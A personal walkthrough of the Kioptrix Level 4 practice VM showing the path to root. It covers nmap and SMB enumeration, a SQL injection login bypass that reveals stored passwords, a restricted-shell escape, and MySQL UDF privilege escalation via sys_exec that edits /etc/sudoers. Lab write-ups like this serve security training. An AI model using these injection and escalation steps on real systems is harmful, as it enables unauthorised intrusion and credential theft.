OK, so I got to the final level. As always I started with a port scan:
root@kali:~/kioptrix-level4# nmap -sS -A 192.168.1.21
Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-07 06:34 CETNmap scan report for 192.168.1.21Host is up (0.00039s latency).Not shown: 566 closed ports, 430 filtered portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)| ssh-hostkey: 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)|_2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)|_http-methods: No Allow or Public header in OPTIONS response (status code 200)|_http-title: Site doesn't have a title (text/html).139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)MAC Address: 00:0C:29:D5:AC:F6 (VMware)Device type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.33Network Distance: 1 hopService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>| smb-os-discovery: | OS: Unix (Samba 3.0.28a)| Computer name: Kioptrix4| NetBIOS computer name: | Domain name: localdomain| FQDN: Kioptrix4.localdomain|_ System time: 2013-11-07T01:34:57-05:00| smb-security-mode: | Account that was used for smb scripts: guest| User-level authentication| SMB Security: Challenge/response passwords supported|_ Message signing disabled (dangerous, but default)|_smbv2-enabled: Server doesn't support SMBv2 protocol
TRACEROUTEHOP RTT ADDRESS1 0.39 ms 192.168.1.21
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 31.09 secondsAs the host had SMB service, I run another NMAP script to enumerate users:
root@kali:~/kioptrix-level4# nmap -sS -A --script smb-enum-users 192.168.1.21 -p445
Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-07 07:04 CETNmap scan report for 192.168.1.21Host is up (0.00035s latency).PORT STATE SERVICE VERSION445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)MAC Address: 00:0C:29:D5:AC:F6 (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.33Network Distance: 1 hop
Host script results:| smb-enum-users: | KIOPTRIX4\john (RID: 3002)| Full name: ,,,| Flags: Normal user account| KIOPTRIX4\loneferret (RID: 3000)| Full name: loneferret,,,| Flags: Normal user account| KIOPTRIX4\nobody (RID: 501)| Full name: nobody| Flags: Normal user account| KIOPTRIX4\robert (RID: 3004)| Full name: ,,,| Flags: Normal user account| KIOPTRIX4\root (RID: 1000)| Full name: root|_ Flags: Normal user account
TRACEROUTEHOP RTT ADDRESS1 0.35 ms 192.168.1.21
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.42 secondsI saved the information (was useful at the next step), and went to the webpage. I really liked the nice little goat picture :)
This time I tried to login as one of the users, so for the user I entered john, and for password:
' OR 1=1 #and I got to a webpage showing a password.
With this I could get the following passwords:
Username : robert Password : ADGAdsafdfwt4gadfga==Username : john Password : MyNameIsJohnloneferret and root gave an error, so those are not exists in the web app, or there is something else with them (later it turned out they do not exists). I used these password to SSH into the system, and I could get in with both of them.
Unfortunately I got only a limited shell, with allowing to execute only a couple of commands. Fortunately we can escape from it with a simple trick: execute "echo os.system('/bin/bash')".
root@kali:~# ssh -l john 192.168.1.21
john@192.168.1.21's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ netstat -antp
*** unknown command: netstat
john:~$ ps -aux
*** unknown command: ps
john:~$ ls
john:~$ pwd
*** unknown command: pwd
john:~$ help
cd clear echo exit help ll lpath ls
john:~$
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$
ps aux showed that the mysql process is running with root privileges:
root 4055 1.7 5.0 128132 26152 ? Sl 01:22 1:53 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var
I really wanted to get in, so I went to the web app, and looked for the mysql password, which was actually empty.
john@Kioptrix4:/var/www$ cat checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
john@Kioptrix4:/var/www$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 133426
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
There is a nice privilege escalation method with this version (and earlier) of the DB, is basically creating a user defined function, which will run with root privileges. The function will execute system commands for us.
More info here:
Instead of the exploit we can also use this one:
I downloaded the so file, but had some trouble sending it over, cause I couldn't connect back to my machine with HTTP, TFTP, or FTP. I finally found that SSH is working, so I used SCP to transfer it over. It worked only with executing it from the victim, the other way SCP was blocked.
robert@Kioptrix4:~$ scp root@192.168.1.17:~/kioptrix-level4/lib_mysqludf_sys.so ~/
The authenticity of host '192.168.1.17 (192.168.1.17)' can't be established.
RSA key fingerprint is 53:bd:7e:52:65:39:a3:84:70:31:66:10:73:f5:d6:b6.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.17' (RSA) to the list of known hosts.
root@192.168.1.17's password:
lib_mysqludf_sys.so 100% 13KB 12.6KB/s 00:00
robert@Kioptrix4:~$ ls
lib_mysqludf_sys.so
robert@Kioptrix4:~$
It turned out that this file already exists and loaded, and I shouldn't make this extra work.
mysql> select * from foo2 into dumpfile '/usr/lib/lib_mysqludf_sys.so';
ERROR 1086 (HY000): File '/usr/lib/lib_mysqludf_sys.so' already exists
I had some issues with the function execution, so recreated them:
mysql> DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
Query OK, 0 rows affected (0.00 sec)
mysql> DROP FUNCTION IF EXISTS sys_get;
Query OK, 0 rows affected, 1 warning (0.00 sec)
mysql> DROP FUNCTION IF EXISTS sys_set;
Query OK, 0 rows affected, 1 warning (0.00 sec)
mysql> DROP FUNCTION IF EXISTS sys_exec;
Query OK, 0 rows affected (0.00 sec)
mysql> DROP FUNCTION IF EXISTS sys_eval;
Query OK, 0 rows affected, 1 warning (0.00 sec)
mysql>
mysql> CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)
mysql> CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)
mysql> CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)
mysql> CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)
mysql> CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func;
+-----------------------+-----+---------------------+----------+
| name | ret | dl | type |
+-----------------------+-----+---------------------+----------+
| sys_get | 0 | lib_mysqludf_sys.so | function |
| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function |
| sys_set | 2 | lib_mysqludf_sys.so | function |
| sys_exec | 2 | lib_mysqludf_sys.so | function |
| sys_eval | 0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
5 rows in set (0.00 sec)
I tried to open a reverse shell, but it didn't work out, so finally I just updated the sudoers file with adding robert, and that worked. I also copied the shadow file and sudoers files to my home directory which I don't show here.
mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select sys_exec("echo 'robert ALL=(ALL) ALL'>> /etc/sudoers");
+--------------------------------------------------------+
| sys_exec("echo 'robert ALL=(ALL) ALL'>> /etc/sudoers") |
+--------------------------------------------------------+
| 0 |
+--------------------------------------------------------+
1 row in set (0.01 sec)
mysql> exit
Bye
robert@Kioptrix4:~$ sudo bash
[sudo] password for robert:
root@Kioptrix4:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix4:~# ls /root/
congrats.txt lshell-0.9.12
root@Kioptrix4:~# cat /root/congrats.txt
Congratulations!
You've got root.
(...)
#Other ways:
I also found that you can run sqlmap against the webapp to make SQL injection, but that wasn't my way doing it.
-----
I really enjoyed going through all levels, thanks to the developers of these VMs.